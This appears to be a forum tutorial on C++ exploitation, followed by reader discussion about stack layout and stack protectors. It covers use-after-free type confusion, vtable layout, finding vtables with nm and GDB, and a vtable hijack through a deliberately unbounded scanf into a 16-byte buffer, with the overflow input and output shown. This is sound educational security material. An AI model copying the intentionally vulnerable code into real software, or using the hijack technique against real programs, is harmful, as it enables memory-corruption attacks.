Hacking C++ (Part 1)

Introduction

Every high-level language has built-in mechanisms designed to make life easier for programmers. Like any other programming language, C++ provides a wealth of ready-made solutions. Programmers usually don’t know how these work. Not because the source code is proprietary or anything like that, but simply because they don’t need to. Some highly experienced programmers may be aware of certain things. But the vast majority have no idea that these solutions can also become a vector for attack.

The terms “bug” and “vulnerability” sound like two sides of the same coin. And in a sense, that’s exactly what they are. As a security researcher, you need to understand that a bug becomes a vulnerability when it allows an attacker to interact with internal structures. It doesn’t matter whether these structures were created by a programmer, are part of the language’s design, or are even managed by the kernel, if a bug exposes internal structures, it always leads to security issues. And you know what? C++ has plenty of them. A multitude of internal structures hidden from view. And this article will help you learn about them.

None of the examples given here fully reflect “real-world scenarios,” since vulnerabilities are much more complex in reality. And I don’t intend to write a JIT compiler just to demonstrate vulnerabilities.

In any case, this article will help you understand how C++ works “from the inside.” It will also explain how attackers can exploit these internal mechanisms to compromise a program and how to bypass C+±specific security mechanisms.

Type Confusion and Objects

The problem with objects

Objects are the cornerstone of OOP. We establish relationships between variables just as we do between real-world objects. A chair and a sofa are pieces of furniture; Alice and Bob are people; dogs and cats are animals. Sounds great.

All these abstractions work thanks to internal structures that store a huge amount of information about the object. Then an internal mechanism called RTTI (Runtime Type Information) reads these internal structures to determine the object’s type when we need to, for example, throw an error for that specific object type. And this is where the problem arises. With the right vulnerability, we can corrupt all these structures and misinterpret the objects. Logically, this is the same as overwriting a variable, but with additional steps. However, the consequences are far more dangerous, since objects often contain functions (also known as methods).

Thus, every object carries a certain functionality that can be exploited. This type of attack is called Type Confusion. The name speaks for itself. The concept of type confusion is actually quite broad, but in this article we will consider it exclusively from the perspective of objects, so as not to overcomplicate the article. Below is a example of how type confusion can be achieved.

UAF

Before diving into C++ structures, I would like to show you some examples of objects type confusion without involving complex bugs.

Use After Free (UAF) type of attacks are based on glibc heap management mechanisms. I will suggest you read Heap Exploitation For Dummies (Part 1) before moving on.

(Note that there are no virtual tables here, since there are no virtual functions or inheritance. This is simply an example of type confusion with UAF)

UAF vulnerabilities can create many attack surfaces, but all of them use the same pattern:

  • Allocate other entity with similar size to inject it in dangling pointer
  • Reuse the dangling pointer
#include <iostream>

class Victim {
    public:
        std::string data;
        void greet() {
            std::cout << "Victim says: " << data << std::endl;
        }
};

class Attacker {
    public:
        std::string data;
        void evil() {
            std::cout << "Attacker says: " << data << std::endl;
        }
};

int main() {
    Victim* a = new Victim();
    a->data = "Hello from A";
    std::cout << "Address of Victim: " << a << std::endl;
    std::cout << "Executing a->greet()..." << std:: endl;
    a->greet();
    std::cout << "Deleting Victim..." << std::endl;
    delete a;

    Attacker* b = new Attacker();
    b->data = "UAF";
    std::cout << "Address of Attacker: " << b << std::endl;

    std::cout << "Executing a->greet()..." << std:: endl;
    a->greet();

    delete b;
}

What virtual table is

Virtual table overview

A virtual table (Vtable) is a data structure containing the addresses of virtual functions, which are added by the compiler during the compilation phase. This is how polymorphism is implemented in C++. Whenever a class contains a virtual function, the compiler creates a Vtable for that class and adds a pointer to this table (Vptr) to each object.

For instance:

class Base
{
public:
    virtual void function1() {};
    virtual void function2() {};
};

class D1: public Base
{
public:
    void function1() override {};
};

class D2: public Base
{
public:
    void function2() override {};
};

Now the compiler will add a pointer to the virtual table at the beginning of each class.

Virtual table layout

Of course, virtual tables contain more than just pointers to functions.
This, how virtual table looks like inside in example of Base class described above:

Value Usage
top_offset Used in multi inheritance
typeinfo for Base Contains information about the object to determine its type
Pointer to virtual function1() Contains address of Base class function1() virtual method
Pointer to virtual function2() Contains address of Base class function2() virtual method
As I mentioned earlier, RTTI requires information about an object in order to determine its type. This is exactly what typeinfo does. You can see what’s inside typeinfo here.

Exploiting virtual tables

Finding virtual tables

There are two ways to find the vtable: static and dynamic.

The first method assumes that the binary file has not been stripped. In this case, you can easily determine the vtable offset. Simply use the command nm -C binary_file_name | grep vtable. You will see the vtable location for each polymorphic class.

nm -C ./a.out | grep vtable
0000000000003d68 V vtable for Foo
0000000000003d50 V vtable for FooBar
                 U vtable for __cxxabiv1::__class_type_info@CXXABI_1.3
                 U vtable for __cxxabiv1::__si_class_type_info@CXXABI_1.3

The second option is to use a debugger and the address of our object. Since every polymorphic object has a vptr pointing to the vtable, and this is stored in the object as the first pointer, we can simply read it. To do this, we need to print the address of the first pointer in the object. In GDB, this can be done using the command p *(void**)&obj.

gdb-peda$ p *(void **)&normal
$1 = (void *) 0x555555755d68 <vtable for NormalUser+16>
gdb-peda$ 

Or

gdb-peda$ p &normal
$2 = (NormalUser *) 0x7fffffffe590
gdb-peda$ x/gx &normal
0x7fffffffe590:	0x0000555555755d68  <- THIS, IS OUR VTABLE
gdb-peda$ 

Virtual tables hijacking

“Vtable Hijacking” is an exploit technique based on overwriting the vptr or modifying the vtable itself. This can be achieved in various ways: buffer overflow, arbitrary write, heap spray, etc. Let’s look at an example involving a stack buffer overflow.

This example will be demonstrated in an environment without any security measures. That is, without ASLR, PIE, and CFI, compiled using GCC.

#include <iostream>
#include <cstdio>
#include <unistd.h>

class User
{
  public:
    virtual void  function(void)
    {
      std::cout << "This is a function. Every user have it" << std::endl;
    }
};

class NormalUser : public User
{
  public:
    virtual void  function(void)
    {
      std::cout << "I'm a normal user. I'm pretty ordinary." << std::endl;
    }
};

class SuperUser : public User
{
  public:
    virtual void  function(void)
    {
      system("echo \"It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.\"");
    }
};

int main()
{
  SuperUser   super;
  NormalUser  normal;
  char        bad_boy_buffer[16];

  std::cout << "I'm gonna help you here to make thinks easier, but don't get used to that." << std::endl;
  void *super_vtable  = *((void **)&super);
  printf("Address of super user vtable: %p\n", super_vtable);

  scanf("%s", bad_boy_buffer);

  std::cout << "Compiler can resolve function pointers staticly, so to ensure that we gonna call function() from vtable, I will use our base object for that" << std::endl;
  std::cout << std::endl << "User *u = &normal;" << std::endl;
  std::cout << "u->function();" << std::endl;
  User  *u = &normal;
  u->function();
}
./a.out 
I'm gonna help you here to make thinks easier, but don't get used to that.
Address of super user vtable: 0x555555755d50
AAAAAAAAAAAAAAAAP]uUUU
Compiler can resolve function pointers staticly, so to ensure that we gonna call function from vtable, I will use our base object for that

User *u = &normal;
u->function();
It's me, the super user, and I wrote it using the system() function instead of using standard library, because im cool.

As you can see, we’re overwriting the vptr using a stack overflow, and now our regular user will act like a superuser in certain cases.

There are various ways to hijack the vtable: by creating a fake vtable, overwriting the vptr with an arbitrary file, overwriting the function pointers in the vtable, and so on.

References

Next Part

5 Likes

Thanks for the detailed explanation of C++ vtable hijacking.

It’s good to see you use example code to demonstrate ideas but it’s hard for me to concretely visualize them without additional debugger dumps to show how the exploit truly affects the program state. In your last example, the code shows the ordering of local variable declarations such that it makes it conceptually difficult to understand how the scanf input overflows into, what I assume, is the normal variable’s vtable pointer. It might not necessarily be how the compiler ultimately decides to lay them out, which is even more true when compiling in mitigations because char buffers would get placed at the end of the stack to avoid influencing other stack variables.

Although it would need much more effort, I think it would be great to show the state of the program and the stack variables, and then step through the overwrite. Nevertheless, great work!

2 Likes

Being the intended audience for this article (kind of a beginner at this stuff in practice), I agree that some additional would help. Nevertheless, thank you @Magnus for posting, I do want to learn more of low-level exploitation :smiley:

1 Like

Hi, John. Thanks for your feedback.

Yeah, I guess you right. I assumed that potential readers would be more familiar with the basic concepts of bin exp, and I completely forgot that some people read articles just for fun. I’ll keep your suggestion in mind for future articles.

About how compilers lay variables. In modern compilers, this always happens the same way, pointers to virtual function tables are always located at the beginning of the object. The code shows that I get a pointer to the Super virtual function table as follows: (void **)&super, which is basically the same as *(super[0][0]) (resolve the first address and take the value). But yes, I agree that this is confusing.

Compilers do not automatically move char buffers to the end or the beginning of the stack. Even with the mitigations turned on as I know. They “push” variables in the order in which they are specified in the code. I suppose this is due to the way compilers work, or perhaps they (developers) assume there is no need to handle such matters, since standard library functions handle overflows quite well.

Regardless, thank you for your honest feedback. I appreciate it :saluting_face:

1 Like

Next time I’ll do better :saluting_face:

When will be the part 2 of Heap Exploitation For Dummies (Part 1) since I’m a fan of any heap exploitations

1 Like

I must’ve miscommunicated, I did not mean the C++ objects themselves but the arrangement of objects on the stack.

I’ve double checked and it seems like the basic stack protector mitigations rearrage at least char buffers. Stronger stack protector levels will also rearrange other types of arrays and structs too.

-fstack-protector: Emits stack smashing protectors in the form of
a “canary” — a random value placed on the stack before the local
variables that’s checked upon return from the function to see if it has
been overwritten. A heuristic is used to determine if a function needs
stack protectors or not. The heuristic used will enable protectors for
functions with:
* Character arrays larger than ssp-buffer-size (default 8).
* Aggregates containing character arrays larger than ssp-buffer-size.
* Calls to alloca() with variable sizes or constant sizes greater than ssp-buffer-size.

Variables that are identified as requiring a protector will be
arranged on the stack such that they are adjacent to the stack
protector guard.

1 Like

All my homies hate glibc heap exploitation

1 Like

That’s true. I didn’t know that the stack protector flag reorders variables in LLVM. I’ll keep that in mind.

1 Like

Hey, buddy, I’m already working on it. But I can tell you that a lot of it is already done. I just need to complete the examples and maybe add some CTF too